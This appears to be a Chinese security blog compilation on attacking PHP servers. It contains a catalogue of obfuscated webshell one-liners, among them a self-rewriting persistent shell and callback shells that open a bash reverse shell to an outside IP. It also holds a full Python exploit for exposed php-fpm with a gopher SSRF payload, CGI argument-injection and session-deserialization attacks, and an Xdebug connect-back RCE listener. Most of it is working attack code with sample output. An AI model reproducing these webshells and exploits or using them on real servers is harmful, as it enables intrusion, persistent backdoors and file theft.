webshell

直接使用eval

1
<?php @eval($_POST[shell]);?>

字符替换

替换一

替换参数

1
<?php $s=$_POST['shell']; @eval("$s;");?>

替换二

替换函数

1
<?php $s=str_replace('x','','exxvxxaxxl'); @$s($_POST[shell]);?>

替换三

替换函数进阶
1
<?php @$_GET[func]($_POST[code]);?>
截断替换
1
<?php $s=substr('helloworldeval',10);@$s($_POST[shell]);?>

替换四

通过索引取md5值中的字符,再加上chr转换构造出assert

1
2
3
4
5
<?php
$a=md5('a').'<br>';
$poc=substr($a,14,1).chr(115).chr(115).substr($a,22,1).chr(114).chr(116);
$poc($_GET['a']);
?>

编码构造

base64() :使用base64对数据进行编码

gzdeflate() :对数据进行Deflate压缩,gzinflate()解压缩

str_rot13() :对字符串执行 ROT13 转换

bae64编码

参数编码

1
<?php @base64_decode($_GET['a'])($_GET[b]);?>
1
eval(gzinflate(base64_decode($code)));

文件包含型后门

include

include可以解析php,不管文件的后缀是什么样的

1
2
$filename=$_GET['code']; 
include ($filename);

可以上传一个txt后缀格式的文件,包含一下

include进阶

php有一个特性,接受上传的临时文件,在这个请求结束后,会把临时文件删除,所以必须在上传文件的请求包内,调用webshell

tshell.php

1
2
3
<?php
include($_FILES["file"]["tmp_name"]);
?>

exp.py

1
2
3
4
5
6
7
# -*- coding: utf-8 -*-
import requests
url = "http://127.0.0.1/tshell.php?c=system('id');"
files = {'file': ('filename.php', '<?php eval($_REQUEST[c]);?>', 'image/jpeg')}
response = requests.post(url, files=files)
content = response.content
print content

包含请求头

1
<?php system($_SERVER['HTTP_USER_AGENT']);?>

通过user_agent传参

内存驻留马

1
2
3
4
5
6
7
8
9
10
11
12
<?php
ignore_user_abort(true);
set_time_limit(0);
$file = 'c.php';
$code = '<?php eval($_POST[c]);?>';
while(true) {
if(!file_exists($file)) {
file_put_contents($file, $code);
}
usleep(50);
}
?>

create_function()

回调函数

ob_start

1
<?php function a($b){exec('/bin/bash -c "bash -i >& /dev/tcp/8.8.8.8/8888 0>&1"');}ob_start("a");?>

header_register_callback

1
2
<?php function a() {exec('/bin/bash -c "bash -i >& /dev/tcp/8.8.8.8/8888 0>&1"');}header_register_callback('a');?>
<?php function a() {$_GET[c]($_GET[d]);}header_register_callback('a');?>

filter_input

1
2
3
4
5
# 需要 POST 一个 C 参数 , 就会触发反弹 shell
<?php function a($value){ exec('/bin/bash -c "bash -i >& /dev/tcp/8.8.8.8/8888 0>&1"');}filter_input(INPUT_POST, 'c', FILTER_CALLBACK, array('options' => 'a'));?>
# 直接菜刀连接 , 密码为 c
http://127.0.0.1/index.php?&c=assert&d=eval($_POST['c'])
<?php function a($c){$c($_GET['d']);}filter_input(INPUT_GET,'c', FILTER_CALLBACK,array('options'=>'a'));?>

类似的函数还有

1
2
3
filter_var() - Filters a variable with a specified filter
filter_input_array() - Gets external variables and optionally filters them
filter_var_array() - Gets multiple variables and optionally filters them

stream_wrapper_register

1
2
3
4
5
6
7
8
9
10
<?php
class A{
function __construct(){
phpinfo();
// $_GET[c]($_GET[d]);
}
}
stream_wrapper_register("st", "A");
$fp = fopen("st://","r");
?>

参考链接

https://www.anquanke.com/post/id/85083

https://www.jianshu.com/p/13cb1d8d0441

评论和共享

php可变变量

可变变量就是说,一个变量的变量名可以动态的设置和使用。有两个特例 超全局变量和$this

阅读全文

php-fpm&&cgi

FPM

先看一下fpm是什么

浏览器和服务器中间件之间用的是http协议

服务器中间件和后端语言之间用的就是fastcgi协议,而FPM就是fastcgi协议的一个协议解析器,nginx等中间件将用户请求,按照fastcgi协议打包好,通过tcp发给FPM

FPM未授权访问漏洞

fpm默认开启9000端口,如果这个端口暴露在公网上,那么就可以自己构造fastcgi协议和fpm通信。

利用

fpm中的一个配置选项,规定了那些文件可以被fpm执行

1
security.limit_extensions

默认是*.php

所以就要先找到一个php文件,文件内容不重要,因为fpm中还可以设置

1
2
auto_prepend_file //在文件加载前 包含指定文件
auto_append_file //在文件加载后 包含指定文件

这两个选项经常在.htaccess 还有.user.ini中用到

更改配置项

把auto_prepend_file改为auto_prepend_file=php://input 就可以在文件加载前去执行post数据流,当然还要把

1
allow_url_include

这个选项打开

fpm中有两个环境变量

PHP_VALUE

PHP_ADMIN_VALUE

PHP_VALUE可以设置模式为PHP_INI_USERPHP_INI_ALL的选项,PHP_ADMIN_VALUE可以设置所有选项。(disable_functions除外,这个选项是PHP加载的时候就确定了,在范围内的函数直接不会被加载到PHP上下文中)

代码执行

1
2
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'

绕过open_basedir

1
2
'PHP_VALUE': 'auto_prepend_file = php://input'+chr(0x0A)+'open_basedir = /',
'PHP_ADMIN_VALUE': 'allow_url_include = On'

看一下脚本的执行结果

1
2
3
PS python3 .\fpm.py 192.168.110.140 /usr/local/lib/php/PEAR.php -c '<?php echo `cat /etc/passwd`;exit;?>'
X-Powered-By: PHP/7.3.9
Content-type: text/html; charset=UTF-8

附上exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
import socket
import random
import argparse
import sys
from io import BytesIO

# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client

PY2 = True if sys.version_info.major == 2 else False


def bchr(i):
if PY2:
return force_bytes(chr(i))
else:
return bytes([i])

def bord(c):
if isinstance(c, int):
return c
else:
return ord(c)

def force_bytes(s):
if isinstance(s, bytes):
return s
else:
return s.encode('utf-8', 'strict')

def force_text(s):
if issubclass(type(s), str):
return s
if isinstance(s, bytes):
s = str(s, 'utf-8', 'strict')
else:
s = str(s)
return s


class FastCGIClient:
"""A Fast-CGI Client for Python"""

# private
__FCGI_VERSION = 1

__FCGI_ROLE_RESPONDER = 1
__FCGI_ROLE_AUTHORIZER = 2
__FCGI_ROLE_FILTER = 3

__FCGI_TYPE_BEGIN = 1
__FCGI_TYPE_ABORT = 2
__FCGI_TYPE_END = 3
__FCGI_TYPE_PARAMS = 4
__FCGI_TYPE_STDIN = 5
__FCGI_TYPE_STDOUT = 6
__FCGI_TYPE_STDERR = 7
__FCGI_TYPE_DATA = 8
__FCGI_TYPE_GETVALUES = 9
__FCGI_TYPE_GETVALUES_RESULT = 10
__FCGI_TYPE_UNKOWNTYPE = 11

__FCGI_HEADER_SIZE = 8

# request state
FCGI_STATE_SEND = 1
FCGI_STATE_ERROR = 2
FCGI_STATE_SUCCESS = 3

def __init__(self, host, port, timeout, keepalive):
self.host = host
self.port = port
self.timeout = timeout
if keepalive:
self.keepalive = 1
else:
self.keepalive = 0
self.sock = None
self.requests = dict()

def __connect(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(self.timeout)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# if self.keepalive:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
# else:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
try:
self.sock.connect((self.host, int(self.port)))
except socket.error as msg:
self.sock.close()
self.sock = None
print(repr(msg))
return False
return True

def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
length = len(content)
buf = bchr(FastCGIClient.__FCGI_VERSION) \
+ bchr(fcgi_type) \
+ bchr((requestid >> 8) & 0xFF) \
+ bchr(requestid & 0xFF) \
+ bchr((length >> 8) & 0xFF) \
+ bchr(length & 0xFF) \
+ bchr(0) \
+ bchr(0) \
+ content
return buf

def __encodeNameValueParams(self, name, value):
nLen = len(name)
vLen = len(value)
record = b''
if nLen < 128:
record += bchr(nLen)
else:
record += bchr((nLen >> 24) | 0x80) \
+ bchr((nLen >> 16) & 0xFF) \
+ bchr((nLen >> 8) & 0xFF) \
+ bchr(nLen & 0xFF)
if vLen < 128:
record += bchr(vLen)
else:
record += bchr((vLen >> 24) | 0x80) \
+ bchr((vLen >> 16) & 0xFF) \
+ bchr((vLen >> 8) & 0xFF) \
+ bchr(vLen & 0xFF)
return record + name + value

def __decodeFastCGIHeader(self, stream):
header = dict()
header['version'] = bord(stream[0])
header['type'] = bord(stream[1])
header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
header['paddingLength'] = bord(stream[6])
header['reserved'] = bord(stream[7])
return header

def __decodeFastCGIRecord(self, buffer):
header = buffer.read(int(self.__FCGI_HEADER_SIZE))

if not header:
return False
else:
record = self.__decodeFastCGIHeader(header)
record['content'] = b''

if 'contentLength' in record.keys():
contentLength = int(record['contentLength'])
record['content'] += buffer.read(contentLength)
if 'paddingLength' in record.keys():
skiped = buffer.read(int(record['paddingLength']))
return record

def request(self, nameValuePairs={}, post=''):
if not self.__connect():
print('connect failure! please check your fasctcgi-server !!')
return

requestId = random.randint(1, (1 << 16) - 1)
self.requests[requestId] = dict()
request = b""
beginFCGIRecordContent = bchr(0) \
+ bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
+ bchr(self.keepalive) \
+ bchr(0) * 5
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
beginFCGIRecordContent, requestId)
paramsRecord = b''
if nameValuePairs:
for (name, value) in nameValuePairs.items():
name = force_bytes(name)
value = force_bytes(value)
paramsRecord += self.__encodeNameValueParams(name, value)

if paramsRecord:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

if post:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)

self.sock.send(request)
self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
self.requests[requestId]['response'] = b''
return self.__waitForResponse(requestId)

def __waitForResponse(self, requestId):
data = b''
while True:
buf = self.sock.recv(512)
if not len(buf):
break
data += buf

data = BytesIO(data)
while True:
response = self.__decodeFastCGIRecord(data)
if not response:
break
if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
if requestId == int(response['requestId']):
self.requests[requestId]['response'] += response['content']
if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
self.requests[requestId]
return self.requests[requestId]['response']

def __repr__(self):
return "fastcgi connect host:{} port:{}".format(self.host, self.port)


if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
parser.add_argument('host', help='Target host, such as 127.0.0.1')
parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)

args = parser.parse_args()

client = FastCGIClient(args.host, args.port, 3, 0)
params = dict()
documentRoot = "/"
uri = args.file
content = args.code
params = {
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'POST',
'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
'SCRIPT_NAME': uri,
'QUERY_STRING': '',
'REQUEST_URI': uri,
'DOCUMENT_ROOT': documentRoot,
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '9985',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1',
'CONTENT_TYPE': 'application/text',
'CONTENT_LENGTH': "%d" % len(content),
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
response = client.request(params, content)
print(force_text(response))

ssrf+fpm

利用gopher协议

先装环境ubuntu18

1
2
3
4
5
6
sudo apt update
sudo apt install -y nginx
sudo apt install -y software-properties-common
sudo add-apt-repository -y ppa:ondrej/php
sudo apt update
sudo apt install -y php7.3-fpm

改配置nginx

1
2
3
4
5
6
7
8
9
10
11
sudo vim /etc/nginx/sites-enabled/default

改成这样
location ~ \.php$ {
include snippets/fastcgi-php.conf;
#
# # With php-fpm (or other unix sockets):
# fastcgi_pass unix:/var/run/php/php7.0-fpm.sock;
# # With php-cgi (or other tcp sockets):
fastcgi_pass 127.0.0.1:9000;
}

再去改php-fpm的配置

1
2
3
sudo vim /etc/php/7.3/fpm/pool.d/www.conf
改成这样
listen = 127.0.0.1:9000

重启fpm

1
/etc/init.d/php7.3-fpm restart

启动nginx

1
service nginx start

创建一个phpinfo文件

phpin.php

1
2
3
<?php
phpinfo();
?>

用来查看是不是FPM/FASTCGI模式启动,正常情况下phpinfo里面会有这样一行

1
Server API 	FPM/FastCGI

测试

ssrf.php

1
2
3
4
5
6
7
8
9
10
11
<?php
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}
$url = $_GET['url'];
curl($url);
?>

改一下p神的脚本,把发送数据那部分去掉

1
python 'gopherfpm.py' 127.0.0.1 /var/www/html/phpin.php -c '<?php echo `id`; exit;?>' -p 9000

生成数据

1
gopher%3A//127.0.0.1%3A9000/_%01%01%2C%04%00%08%00%00%00%01%00%00%00%00%00%00%01%04%2C%04%01%DB%00%00%0E%02CONTENT_LENGTH24%0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F%17SCRIPT_FILENAME/var/www/html/phpin.php%0B%17SCRIPT_NAME/var/www/html/phpin.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%17REQUEST_URI/var/www/html/phpin.php%01%04%2C%04%00%00%00%00%01%05%2C%04%00%18%00%00%3C%3Fphp%20echo%20%60id%60%3B%20exit%3B%3F%3E%01%05%2C%04%00%00%00%00

这里要二次编码,注意只把后面的数据部分编码。gopher协议这里不要编码

1
2
GET /ssrf.php?url=gopher%3A//127.0.0.1%3A9000/_%2501%2501%252C%2504%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%252C%2504%2501%25DB%2500%2500%250E%2502CONTENT_LENGTH24%250C%2510CONTENT_TYPEapplication/text%250B%2504REMOTE_PORT9985%250B%2509SERVER_NAMElocalhost%2511%250BGATEWAY_INTERFACEFastCGI/1.0%250F%250ESERVER_SOFTWAREphp/fcgiclient%250B%2509REMOTE_ADDR127.0.0.1%250F%2517SCRIPT_FILENAME/var/www/html/phpin.php%250B%2517SCRIPT_NAME/var/www/html/phpin.php%2509%251FPHP_VALUEauto_prepend_file%2520%253D%2520php%253A//input%250E%2504REQUEST_METHODPOST%250B%2502SERVER_PORT80%250F%2508SERVER_PROTOCOLHTTP/1.1%250C%2500QUERY_STRING%250F%2516PHP_ADMIN_VALUEallow_url_include%2520%253D%2520On%250D%2501DOCUMENT_ROOT/%250B%2509SERVER_ADDR127.0.0.1%250B%2517REQUEST_URI/var/www/html/phpin.php%2501%2504%252C%2504%2500%2500%2500%2500%2501%2505%252C%2504%2500%2518%2500%2500%253C%253Fphp%2520echo%2520%2560id%2560%253B%2520exit%253B%253F%253E%2501%2505%252C%2504%2500%2500%2500%2500 HTTP/1.1
Host: 192.168.110.145

unix+fpm

改一下配置 nginx

1
sudo vim /etc/nginx/sites-enabled/default

改成这样

1
2
3
4
5
6
7
8
location ~ \.php$ {
include snippets/fastcgi-php.conf;
#
# # With php-fpm (or other unix sockets):
fastcgi_pass unix:/var/run/php/php7.0-fpm.sock;
# # With php-cgi (or other tcp sockets):
#fastcgi_pass 127.0.0.1:9000;
}

默认情况下,套接字的位置在/run/php/php7.3-fpm.sock

可以通过/etc/php/7.3/fpm/pool.d/www.conf查看

这里直接设置成/run/php/php7.3-fpm.sock

sudo vim /etc/php/7.3/fpm/pool.d/www.conf

1
2
;listen = 127.0.0.1:9000
listen = /run/php/php7.3-fpm.sock

测试

unix.php

1
2
3
4
5
<?php 
$sock=stream_socket_client('unix:///run/php/php7.3-fpm.sock');
fputs($sock, base64_decode($_POST['A']));
var_dump(fread($sock, 4096));
?>

生成一下payload

1
python 'gopherfpm.py' 127.0.0.1 /var/www/html/phpin.php -c '<?php echo `id`; exit;?>' -p 9000

访问unix, 把生成的base64数据post一下

CGI

当querystring中不包含没有解码的=号的情况下,要将querystring作为cgi的参数传入。所以,Apache服务器按要求实现了这个功能 也就是把输入的参数,当成了cgi的命令来执行

常用的cgi参数有

1
2
3
4
5
6
7
-c 指定php.ini文件的位置
-n 不要加载php.ini文件
-d 指定配置项
-b 启动fastcgi进程
-s 显示文件源码
-T 执行指定次该文件
-h和-? 显示帮助

测试

1
index.php?-s

可以拿到源码

利用-d 添加auto_prepend_file

1
/index.php?-d+allow_url_include%3Don+-d%20auto_prepend_file%3Dphp%3A//input

post

1
<?php system('id');?>

参考链接

https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html

https://vulhub.org/#/environments/php/CVE-2012-1823/

https://mp.weixin.qq.com/s/ZvDkrlHn34eMWz_eFXeQmw

评论和共享

php-session

序列化机制

基础知识

php的三种序列化机制

1
2
3
4
5
php_binary:键名的长度对应的ASCII字符+键名+键值经过serialize()函数序列化处理的值

php:键名+竖线+键值经过serialize()函数序列处理的值

php_serialize(php>5.5.4):经过serialize()函数序列化处理的值

如何设置序列化方式

1
2
ini_set('session.serialize_handler', '需要设置的引擎');
session_start('serialize_handler=需要设置的引擎')

看一下三种方式存储的结果

测试代码

1
2
3
4
5
6
7
<?php
ini_set('session.serialize_handler', 'php_serialize');
#ini_set('session.serialize_handler', 'php');
#ini_set('session.serialize_handler', 'php_binary');
session_start();
$_SESSION['user']=$_POST['user'];
?>

分别看一下三种方式产生的结果

1
2
3
a:1:{s:4:"user";s:4:"name";}  //php_serialize
user|s:4:"name"; //php
users:4:"name"; //php_binary最前面那里乱码了

分析过程

php_serialize这种存储方式恰好是类 数组等使用的一种序列化方式,但是就算输入类和数组,也会被当作字符串给序列化,然后存起来。无法达到反序列化攻击的目的。

但是php这种序列化方式 被| 给分成两部分,前面一部分是键名,后一部分是经过serialize序列化的数据,当反序列化时,先找到| ,把竖线|之前的当作键,竖线|之后的当作值,也就是说 通过一个竖线把结果分成两部分,而且还是互不影响的那种,

所以可以通过php_serialize传入值,在加上一个竖线| ,伪造这样一串数据,

1
s:5:"|code";

这串数据当被php这种序列化方式解析的时候,键就变成了 s:5:”| 值就变成了 code 也就是值不再被当作字符串,而是单独的一部分被反序列化

测试一下

测试代码

hint.php

1
2
3
4
5
<?php
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['user'] = $_POST['user'];
?>

hint2.php

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
#ini_set('session.serialize_handler','php');
session_start();
class user{
public $test;

function __wakeup(){
$file = fopen("shell.php","w");
fputs($file,$this->test);
fclose($file);
}
}
?>

php默认是以php作为序列化方式的,所以上面那行代码可以不加

访问hint.php post以下内容

1
user=|O:4:"user":1:{s:4:"test";s:17:"<?php phpinfo()?>";}

session文件中的结果

1
a:1:{s:4:"user";s:52:"|O:4:"user":1:{s:4:"test";s:17:"<?php phpinfo()?>";}";}

再去访问一下hint2.php 触发反序列化

这里说明一下为什么最后的三个字符”;}不影响反序列化,当反序列化足够多的字符时,剩下的数据,会被抛弃 前面有s:17的字符个数限制,所以当反序列化17个字符的时候,后面的就被仍掉了

可以看到shell.php文件已经生成,访问一下看看

image

xss

测试代码

1
2
3
4
5
<?php
session_start();
$_SESSION['user'] = $_POST['user'];
?>
<?php echo "hello".$_SESSION['user'];?>

结果

image

防御

转义一下 就好了

1
htmlspecialchars($_SESSION['user'])

session包含

常见的session存放路径

1
2
3
4
/var/lib/php/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

这里的PHPSESSID就是cookie中的PHPSESSID,session会记录当前账号的一下信息,比如用户名,密码等

直接把用户名注册成一句话木马,然后利用文件包含去解析木马,就可以了,主要在于找到session的存放路径,

session的路径可以在phpinfo中查看,当然这里也受限于open_basedir disable_function

测试

测试代码

test.php

1
2
3
<?php
include($_GET['file']);
?>

hint.php

1
2
3
4
<?php
session_start();
$_SESSION['user'] = $_POST['user'];
?>

post hint.php

1
user=<?php phpinfo();?>

查一下phpsessid,直接去cookie里面看就行

j7cv8kptv1mitmsau95dm4svk7

session文件中的内容

1
user|s:18:"<?php phpinfo();?>";

包含一下

image

评论和共享

xdebug

基础知识

工作原理

xedbug是一个调试php程序的扩展程序,因为php是一个写网站的语言,他的调试和python Java等也有所不同,

几个常见配置

1
2
3
4
5
6
7
8
9
10
11
12
设置调试工具,
xdebug.idekey="PHPSTORM"

绑定远程调试主机地址
xdebug.remote_host=localhost

远程主机监听的端口
xdebug.remote_port=9000
开启回连
xdebug.remote_connect_back = 1
开启xdebug
xdebug.remote_enable = 1

回连地址

xdebug的回连地址是通过自定义header,来判断回连到哪一个ip地址,

一般由三个属性决定

1
2
3
4
5
xdebug.remote_addr_header

X-Forwarded-For

Remote-Addr

xff是可以在请求头中伪造的,所以就算配置了其他的两个,也没有关系,照样可以连接到我指定的ip地址上

固定ip模式

默认情况下,

1
xdebug.remote_connect_back = 0

也叫固定ip模式

这种情况下,后台会去访问

xdebug.remote_host=localhost

xdebug.remote_port=9000

这一对ip 和端口,默认是localhost:9000 这样只适合单一客户端请求

非固定ip模式

1
xdebug.remote_connect_back = 1

这时后台会去访问回连地址。依次访问

这时候问题就出现了,如果在请求头中加入一个xff字段,那么就可以让服务器回连到指定的ip地址上

利用条件

1
2
3
4
5
6
7

xdebug.remote_connect_back = 1 //开启回连 并且此选项开启时,xdebug会忽略xdebug.remote_host
直接把客户端ip当作回连ip,也就是谁访问它,谁就是回连ip

xdebug.remote_enable = 1 //开启xdebug

xdebug.remote_log = /tmp/test.log

DBGp协议

source

1
source -i transaction_id -f fileURI

transaction_id 貌似没有那么硬性的要求,每次都为 1 即可,fileURI 是要读取的文件的路径,需要注意的是,Xdebug 也受限于 open_basedir

利用方式

1
source -i 1 -f file:///etc/passwd

还可以利用php://filter ssrf等

脚本里面要这样写

1
conn.sendall('source -i 1 -f %s\x00' % data)

eval

1
2
3
4
5
eval -i transaction_id -- {DATA}

{DATA} 为 base64 过的 PHP 代码。 利用方式(c3lzdGVtKCJpZCIpOw== == system("id");):

eval -i 1 -- c3lzdGVtKCJpZCIpOw==

脚本里面要这样写

1
conn.sendall('eval -i 1 -- %s\x00' % data.encode('base64'))

property_set

代码执行 和eval一样,要是eval被禁了,可以用这个

1
2
3
/* Do the eval */
eval_string = xdebug_sprintf("%s = %s", CMD_OPTION('n'), new_value);
res = xdebug_do_eval(eval_string, &ret_zval TSRMLS_CC);

利用方式

1
2
property_set -n $a -i 1 -c 1 -- c3lzdGVtKCJpZCIpOw== 
property_get -n $a -i 1 -c 1 -p 0

脚本里面要这样写

1
conn.sendall('property_set -n $a -i 1 -c 1 -- %s\x00' % data.encode('base64'))

利用过程

请求头

1
2
3
4
5
6
7
8
9
10
GET /index.php?XDEBUG_SESSION_START=phpstrom HTTP/1.1
Host: 192.168.110.140:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
X-Forwarded-For:192.168.110.1
Connection: close
Upgrade-Insecure-Requests: 1

本地监听9000端口

1
2
3
4
5
6
nc -lvp 9000
listening on [any] 9000 ...
192.168.110.140: inverse host lookup failed: h_errno 11004: NO_DATA
connect to [192.168.110.1] from (UNKNOWN) [192.168.110.140] 53884: NO_DATA
486 <?xml version="1.0" encoding="iso-8859-1"?>
<init xmlns="urn:debugger_protocol_v1" xmlns:xdebug="http://xdebug.org/dbgp/xdebug" fileuri="file:///var/www/html/index.php" language="PHP" xdebug:language_version="7.1.12" protocol_version="1.0" appid="23" idekey="phpstrom"><engine version="2.5.5"><![CDATA[Xdebug]]></engine><author><![CDATA[Derick Rethans]]></author><url><![CDATA[http://xdebug.org]]></url><copyright><![CDATA[Copyright (c) 2002-2017 by Derick Rethans]]></copyright></init>

可以确定服务端开启了xdebug,并且开启了远程连接

攻击链

先是burp发送请求访问调试界面,这时因为xdebug开启了回连,依次请求

1
2
3
4
5
xdebug.remote_addr_header

X-Forwarded-For

Remote-Addr

当访问到X-Forwarded-For的时候,就会访问其所指向的ip和端口(端口默认是9000,会自动的去请求9000端口,所以ip上不用加上9000端口),这时在本地监听9000端口就可以收到xdebug发送的请求

执行命令

创建一个exp2.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/python2
import socket

ip_port = ('0.0.0.0',9000)
sk = socket.socket()
sk.bind(ip_port)
sk.listen(10)
conn, addr = sk.accept()

while True:
client_data = conn.recv(1024)
print(client_data)

data = raw_input('>> ')
conn.sendall('eval -i 1 -- %s\x00' % data.encode('base64'))

这段代码就是代替nc 监听9000端口(eval可以换成source property_set等)

主机运行

1
python2 exp2.py

burp发包

1
2
3
4
5
6
7
8
9
10
GET /index.php?XDEBUG_SESSION_START=phpstrom HTTP/1.1
Host: 192.168.110.140:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
X-Forwarded-For:192.168.110.1
Connection: close
Upgrade-Insecure-Requests: 1

还是刚才那个数据包

也可以这样,更方便一点

1
curl 'http://192.168.110.140/index.php?XDEBUG_SESSION_START=PHPSTORM' -H "X-Forwarded-For:你的公网IP地址"

在回弹的窗口中执行

1
2
3
>> system('ls');
263 <?xml version="1.0" encoding="iso-8859-1"?>
<response xmlns="urn:debugger_protocol_v1" xmlns:xdebug="http://xdebug.org/dbgp/xdebug" command="eval" transaction_id="1"><property type="string" size="9" encoding="base64"><![CDATA[aW5kZXgucGhw]]></property></response>

注意这里的ls命令是在linux下的 如果在windows下,需要cmd命令

这一段

1
[CDATA[aW5kZXgucGhw]]>

base64解码 就可以拿到文件名 ==>index.php

file协议读文件

1
2
3
>> system('curl file:///etc/passwd')
348 <?xml version="1.0" encoding="iso-8859-1"?>
<response xmlns="urn:debugger_protocol_v1" xmlns:xdebug="http://xdebug.org/dbgp/xdebug" command="eval" transaction_id="1"><property type="string" size="72" encoding="base64"><![CDATA[c3lzdGVtZC1idXMtcHJveHk6eDoxMDM6MTA2OnN5c3RlbWQgQnVzIFByb3h5LCwsOi9ydW4vc3lzdGVtZDovYmluL2ZhbHNl]]></property></response>

这里好像有字符数量限制

利用source读文件

1
2
只需要把eval改成这样
conn.sendall('source -i 1 -f file:///%s\x00' % data)

这里还是有点问题,不能一次读完 貌似得用绝对路径

用index.php的时候,报错没找到文件 ./index.php也不行

1
2
3
>> ./index.php
283 <?xml version="1.0" encoding="iso-8859-1"?>
<response xmlns="urn:debugger_protocol_v1" xmlns:xdebug="http://xdebug.org/dbgp/xdebug" command="source" transaction_id="1" status="starting" reason="ok"><error code="100"><message><![CDATA[can not open file]]></message></error></response>

连续两次命令,会把第一次没有发送完的文件,在发送过来(难道是nc接受的问题??? 或者是服务端限制了文件的大小,当第二次读文件的时候,会从上一次结束的地方,继续往下读)

1
2
3
4
5
>> /etc/passwd
1805 <?xml version="1.0" encoding="iso-8859-1"?>
